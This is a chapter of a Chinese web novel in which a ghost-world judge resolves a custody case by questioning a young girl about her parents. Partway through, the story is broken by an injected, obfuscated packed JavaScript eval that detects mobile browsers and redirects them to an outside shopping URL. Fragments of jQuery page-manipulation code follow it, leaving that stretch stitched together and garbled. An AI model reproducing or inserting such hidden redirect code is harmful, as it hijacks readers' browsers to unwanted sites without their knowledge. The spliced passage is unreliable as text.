22. 包你不亏

作品:《鬼差请我去断案

    第十圈,刘松巧开始倒着走,锻炼协调性。文戒大师不远不近地跟着她,最开始还端正地抱着长棍,后面几圈扛在肩上,又拿下来耍起了棍花。


    小孩子们看得稀奇,三五成群跑出来看热闹,还有的在喊“孙悟空!”“光头强!”


    刘松巧哈哈笑了两声,又转头隔着窗远远观察陆千秋的动静,等她动起来,再静下去。


    孩子们将文戒大师围得水泄不通,刘松巧也顺势驻足。手中棍子被三个孩子抬去当玩具,文戒大师本人又变成了孩子的爬架,一手抱一个还不妨碍身上挂着三个。


    刘松巧将目光从远处收回到近前,文戒大师忙里偷闲道:“你好像一点也不急。”


    “急不来,再等会儿。”刘松巧蹲下来看小朋友们在他身上窜来窜去,“大师,你不嫌沉吗?”


    “阿弥陀佛,小施主们开心就好。”眼见衣服都快被扯下来了,文戒大师赶紧拢了拢,“贫僧只是好奇,刘施主你在纸上写了什么,才能如此气定神闲地在这儿看热闹。”


    其实只有一句话。


    三年前,方焰遭醉驾冲卡车辆顶行牺牲。


    刘松巧心想,这种死因,就算是仇人看了也该释怀了。


    “原来如此,南无阿弥陀佛。”文戒大师轻轻放下怀中幼子,双手合十念诵经文。


    “愿菩萨庇护这英魂,能登极乐。”


    “现在他也乐不了,不然我也不用来了。”刘松巧站起来瞭望,“走了,去求求那位菩萨。”


    陆千秋神情俨然,纸条仍按原样放回原处。


    刘松巧双手插兜,不急着坐:“陆小姐,在和小夏交流前,您还有没有什么想说的?”


    陆千秋似乎早有准备,不假思索地回道:“您是在威胁我,还是道德绑架?”


    刘松巧没想到她会答得这么直接,但态度并不意外,陈年心防不是一张字条就可以破开的。


    她捡回纸条,拍了拍手:“误会,我就一个审案子的,说难听点,你们过得好不好,和我没多大关系。我只是尽量做到信息对称,畅通双方的沟通渠道,别的我不管。”


    “您似乎有些,多管闲事。”陆千秋冷了脸,说话锋利起来。


    “看个纸条而已,您是不是想太多了?”刘松巧眯起眼来,嘴角微微上挑,“活动好像快结束了,您放心,我不会和小夏说这些。”


    活动散场,小夏欢快地跑向妈妈身边,妈妈似乎没有往日那般热情,她顺着妈妈的目光看去,是一位她不认识的姐姐。


    刘松巧身体前倾,双手伏在膝盖上,面带和蔼微笑:“小朋友,你好啊,我是你妈妈的朋友。”


    小夏却退至妈妈身后,害羞地看着这个陌生人。


    “没事,妈妈在呢,给姐姐打个招呼。”


    小夏被带着往前站,眼神虽有些警戒,还是礼貌地喊了声:“姐姐好。”


    刘松巧心里有些打鼓,当着亲妈面和她孩子谈不愿意提起的亲爸,怎么说好点?


    她赌陆千秋不会当着孩子面骂她。


    刘松巧:“小夏,刚才玩得开心吗?”


    小夏一脸茫然地点点头,不知道她要做什么。


    刘松巧请她坐在板凳上,两人相对,免得身高差阻碍她们说话。


    刘松巧:“小夏,有妈妈陪着,你开心吗?”


    小夏不假思索回答:“开心!”可过了两秒又说,“但妈妈老让我看书,看书不开心。”


    刘松巧哑然失笑,悄悄看了眼陆千秋,没生气,但有些无奈。


    刘松巧继续问:“那姥姥呢?你和姥姥在一起开心吗?”


    小夏没等她问完就抢答道:“开心!我最喜欢姥姥做的饭了。”


    刘松巧不禁弯了嘴角:“小馋鬼。”


    小夏不以为耻,反以为荣,拍拍肚子表示自己可能吃了。


    刘松巧被逗笑了,又缓慢收回笑容,让嘴角凝固在一定的弧度上。


    “那,和爸爸呢?”


    图穷匕见,刘松巧不敢看陆千秋的表情,但感觉有一束目光牢牢地钉在她脑门上。


    小夏背对着妈妈浑然不觉,有些懵懂地说:“爸爸……”


    刘松巧硬着头皮问:“爸爸怎么样?”


    “我很久没看到爸爸了。”小夏一瞬间有些失落,但又很快打起精神来,“姐姐,我爸爸是警察,很厉害的!”


    “啊,这样啊,”刘松巧笑得越来越僵,“那你想他吗?”


    小夏大声地喊:“想!”


    答案已定,该收尾了。刘松巧松了松面部肌肉,更加自然地笑道:“小夏,你喜欢孙悟空吗?”


    小夏点点头,眼睛发光:“喜欢。”


    刘松巧用手指着背后的文戒大师:“那个叔叔和孙悟空一样厉害,你要不要找他玩?”


    文戒大师原本恭敬肃立,闻言赶紧甩起膀子挽起了棍花。


    小夏一脸兴奋地冲下板凳,半路回头迟疑地看向陆千秋,看到后者微笑点头,才哇哦哇哦地跑了过去。


    “你赢了。”陆千秋收起笑容,一脸敌意地盯着刘松巧。


    “我赢什么了?”刘松巧摊开双手,“我只是做个调查,什么输赢,和站中间的人有什么关系?”


    “您不辞辛苦从孩子那儿得到了想要的答案,还真是费心了。”陆千秋笑得有些轻蔑,“是我没本事。”


    刘松巧被突如其来的冷嘲热讽激得有些烦躁,但还是快速冷静下来:“我只想要个答案,至于这个答案是什么,无所谓。您不会觉得,我非得让原告胜诉吧?”


    陆千秋没回答,眼神却在说,是的。


    刘松巧在内心朝天磕头,她一个大好人,怎么就让人误会成这样了?


    “童言无忌,她说了想爸爸,也不等于说不爱妈妈。您恨他,那您更希望孩子恨他,还是喜欢他?”刘松巧直视陆千秋的眼睛,“而且您又为什么会觉得,我要故意判您输呢?”


    见对方不回答,刘松巧又加上一句:“为什么我就一定会判您输呢?”


    陆千秋的脸色总算和缓下来,眼神略微闪烁:“私下和我说这个,恐怕不是没有条件的吧?”


    刘松巧抓了抓耳朵,这是以为她索贿吗?老天作证,她是爱钱,但绝不会贪这个。


    至于条件嘛,还真有一个。


    “我有个提议,您要不要听一听?”刘松巧身体略往前倾,“不会让您吃亏的。”


    陆千秋一脸狐疑地凑近听她小声说完,眉间微蹙。


    “您可以慢慢想,决定好了和我说一声。”刘松巧离开板凳,伸了个懒腰,“我说不亏,没错吧?”


    小夏和文戒大师玩得不亦乐乎,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301028|198224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    直到她妈妈再三催促才一步三回头地挥手再见。


    刘松巧向文戒大师赔礼道:“对不住,辛苦您了。”


    文戒大师收了棍子站定,单手立掌回礼:“无妨,倒是您那边怎么样?”


    刘松巧仰头看了看那轮月亮:“不确定。不过,总不会更糟了。”


    三天后复庭,这次方焰没再手忙脚乱地迟到,陆千秋还是提前一会儿端坐被告席上。


    方焰神情忐忑,似乎知道自己的表现实在蹩脚;陆千秋一脸坦然,没有过多的情绪波澜。


    至于刘松巧自己……她心里没底,还得硬撑。要是陆千秋不同意,怎么办?


    如果不是坐在上面得守规矩,她真想伸手抓一抓自己本就不甚茂密的头发。


    “上次庭后,经走访调查,原告和被告的婚生子女小夏,原名满满,表现出的意愿是,”刘松巧翻到做的记录,余光瞥到方焰紧张得攥拳,“她喜欢爸爸,也喜欢妈妈,没有显著的偏向。”


    方焰看上去似乎松了口气,有些欣慰。


    但刘松巧立马就让他紧张起来。


    “基于已经查明的事实,我在此宣判……”刘松巧专门停顿一下,扫视原被告,“驳回原告所有诉讼请求。”


    方焰像个泄了气的皮球,瘫软在椅子上,闭上双眼。


    陆千秋在此时起身,向刘松巧走来:“审判员,我想提交一份文件。”


    刘松巧赶紧站起来伸出双手,没等坐下,迅速浏览文件内容。


    “原告,原告?”刘松巧确认内容无误,让原告过来看看。


    方焰失魂落魄地靠了过来,陆千秋嫌弃地转身走开。


    “被告提交了一份协议,你要不要看看?”刘松巧将文件递给方焰,凝神屏气等他看完。


    方焰的手在抖,读到最后,如释重负地说:“我同意。”


    刘松巧长吁一口气,收工!


    案件结束,办完手续,刘松巧的话像决堤的洪水涌向向老师。


    “我跟你说,这个案子开头吓死我了,我差点以为就要……”


    向老师一边听一边迎合她点头,让她畅所欲言。


    “我觉得我真是个天才,陆千秋恨孩子她爸,孩子不恨她爸,这问题其实一想就能明白。”刘松巧手舞足蹈,还卖起了关子,等向老师表现出十分好奇,她才肯揭开秘密,“我就说,你让孩子单独见她爸,比如那个兴趣班,孩子她爸陪着孩子来玩半天就走,你再来接,两个人不见面,眼不见心不烦。”


    刘松巧咕咚咕咚灌了一口水,又继续说道:“而且我还劝她,正好少带会儿孩子,有点个人空间,何乐而不为呢?方焰自知理亏,她想怎么提条件都行,他都得乐呵呵地买账,这不就成了?”


    向老师微笑应声:“嗯,你的办法很好。”


    刘松巧想到向老师的事,有些收敛:“你的未婚妻,她真的很厉害,条理清晰,说话压得我差点答不上来。而且和你一样,一看就是个读书人。”


    向明今默不作声,沉吟片刻。刘松巧有些心虚,完了,脑子一热又说错话了,这是哪壶不开提哪壶啊!


    “松巧,你,错了。”向明今迟疑开口,刘松巧内心一沉,预备迎来向老师从未有过的严肃批评。


    “我未婚妻的转世,是方焰。”


    “啊?!”